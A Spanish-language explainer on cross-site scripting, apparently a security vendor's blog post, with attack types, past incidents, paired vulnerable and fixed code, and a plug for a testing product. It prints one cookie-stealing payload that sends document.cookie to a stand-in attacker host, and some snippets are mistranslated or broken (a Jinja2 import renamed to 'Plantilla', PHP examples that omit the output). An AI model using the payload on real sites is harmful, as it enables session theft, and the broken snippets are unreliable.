Secuencias de comandos en sitios cruzados (XSS) es una vulnerabilidad web por la que un atacante inyecta código malicioso, normalmente JavaScript, en las páginas web que ven otros usuarios. El código inyectado se ejecuta en el navegador de la víctima bajo el contexto del sitio de confianza, lo que permite a los atacantes robar cookies, secuestrar sesiones, filtrar datos o realizar acciones en nombre de los usuarios.
Por qué el XSS sigue siendo un problema mundial en 2025
El XSS lleva décadas siendo una de las vulnerabilidades web más comunes. Se dio a conocer a finales de la década de 1990 con el auge de los contenidos dinámicos y las entradas generadas por los usuarios en las plataformas web.
Estudios recientes confirman que el XSS sigue afectando a las aplicaciones web, sobre todo con marcos modernos, API, renderizado dinámico, contenido de texto enriquecido e integraciones de terceros.
Cualquier aplicación web que acepte entradas de usuario -desde comentarios a APIs JSON- sin la adecuada desinfección o codificación de salida sigue estando en riesgo.

Ejemplos reales de ataques XSS
ERPNext / Frappe - CVE-2025-56379 XSS almacenado
En 2025, ERPNext/Frappe reveló una vulnerabilidad XSS almacenada en su módulo Blog (versiones 15.67.0 / 15.72.4). Los usuarios autenticados podían inyectar HTML/JavaScript malicioso en el módulo contenido campo. El payload se ejecutaba en los navegadores de los usuarios que visualizaban la entrada del blog, con el consiguiente riesgo de secuestro de sesión y robo de datos.
Esto demuestra que incluso las plataformas de código abierto bien mantenidas son vulnerables si el HTML generado por el usuario se muestra sin la desinfección adecuada.
Caso histórico: Gusano Samy en MySpace (2005)
El gusano Samy explotaba XSS en perfiles de usuario de MySpace. Se propagó a más de un millón de perfiles en 20 horas, demostrando cómo el XSS puede propagarse rápidamente y secuestrar sesiones de usuario.
Tipos de XSS y vectores de ataque
El XSS se presenta en diversas variantes:
| Tipo | Descripción | Vector de ataque típico |
|---|---|---|
| XSS reflejado | La carga útil se refleja inmediatamente de la solicitud a la respuesta | Parámetros URL, campos de búsqueda |
| XSS almacenado | La carga útil se almacena en el servidor y se ejecuta más tarde | Comentarios, blogs, perfiles de usuario |
| XSS basado en DOM | Los scripts del lado del cliente inyectan contenido no seguro | Aplicaciones de una sola página, hash de URL, plantillas JS |
| XSS ciego | La carga útil se ejecuta sin respuesta inmediata | Cuadros de mando administrativos, registros, correos electrónicos |
Los ataques modernos también incluyen cargas útiles políglotas capaces de evadir los desinfectantes y desencadenar condiciones XSS ciegas. (arxiv.org)
Consecuencias de los ataques XSS
- Secuestro de sesión y toma de control de cuentas
- Acciones no autorizadas / Suplantación de identidad
- Robo de datos / Exposición de información confidencial
- Defacement, phishing o ingeniería social
- Distribución persistente de malware
Incluso las pequeñas aplicaciones web están en peligro si muestran las entradas del usuario de forma insegura.
Ejemplos de ataque y defensa
Ejemplo 1 - XSS reflejado (PHP + HTML)
Vulnerable:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Resultados de la búsqueda:</p> </body> </html>
Versión más segura:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Resultados de la búsqueda:</p> </body> </html>

Ejemplo 2 - XSS almacenado en comentarios (JavaScript + HTML)
Renderizado vulnerable:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
Renderizado seguro con DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Ejemplo 3 - XSS basado en DOM a través de URL
Vulnerable:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
Seguro:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
Ejemplo 4 - XSS ciego / retardado
Carga de ataque:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Defensa:
- Sanear la entrada HTML del usuario en el lado del servidor
- Aplicar una lista blanca estricta de etiquetas y atributos HTML
- Aplicar la política de seguridad de contenidos (CSP)
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Ejemplo 5 - Inyección de API JSON (JavaScript)
Vulnerable:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
Seguro:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
Ejemplo 6 - Inyección de plantillas (Python / Jinja2)
Vulnerable:
python
from jinja2 import Plantilla user_input = "{{7*7}}"tpl = Plantilla(user_input)print(tpl.render())
Seguro:
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())

Lecciones del mundo real de GitHub (2018)
GitHub tenía un XSS almacenado en la renderización de Markdown. Los usuarios podían insertar código JS en los archivos README; cualquier visitante que abriera la página del repositorio ejecutaría el código. GitHub lo solucionó desinfectando la entrada y restringiendo las etiquetas HTML permitidas. (Seguridad en GitHub)
Integración de la prevención de XSS en los flujos de trabajo modernos
- Codificación y limpieza de la salida en todos los contextos: HTML, JS, CSS, URL
- Utilizar desinfectantes modernos: DOMPurify, bibliotecas de escape del lado del servidor, motores de plantillas con autoescapado
- Aplicar CSPPrevención de scripts en línea y restricción de fuentes de scripts
- Pruebas automatizadasanálisis estático, exploración dinámica, fuzzing, pruebas XSS ciegas
- Pruebas de penetración manualesValidación de vectores de inyección complejos o de varios pasos
- Auditoría y controlRegistro de entradas sospechosas, revisión del contenido de administradores y terceros, aplicación de revisiones de código
Integración de Penligent para pruebas automatizadas de XSS
Los equipos de seguridad modernos pueden aprovechar plataformas de pruebas de penetración inteligentes como Penligente para automatizar la detección de XSS en múltiples contextos:
- Escaneo continuo de vectores XSS reflejados, almacenados, DOM y ciegos.
- Inyección y análisis automatizados de cargas útiles
- Sugerencias de notificación y corrección
- Integración con canalizaciones CI/CD para el flujo de trabajo DevSecOps
Con Penligent, los equipos reducen el esfuerzo manual, mejoran la cobertura y garantizan una protección continua contra las amenazas XSS en evolución.
Resumen
- El XSS sigue siendo una de las principales vulnerabilidades web a pesar de décadas de concienciación.
- La defensa requiere medidas a varios niveles: codificación, saneamiento, CSP, API seguras y pruebas continuas.
- Las pruebas automatizadas y manuales combinadas proporcionan una protección sólida, especialmente en las aplicaciones dinámicas modernas.
- Plataformas inteligentes como Penligente puede mejorar los flujos de trabajo de seguridad, detectando y mitigando el XSS de forma proactiva.
Referencias
Hoja de trucos OWASP para la prevención de XSS
MDN Web Docs - Visión general de XSS

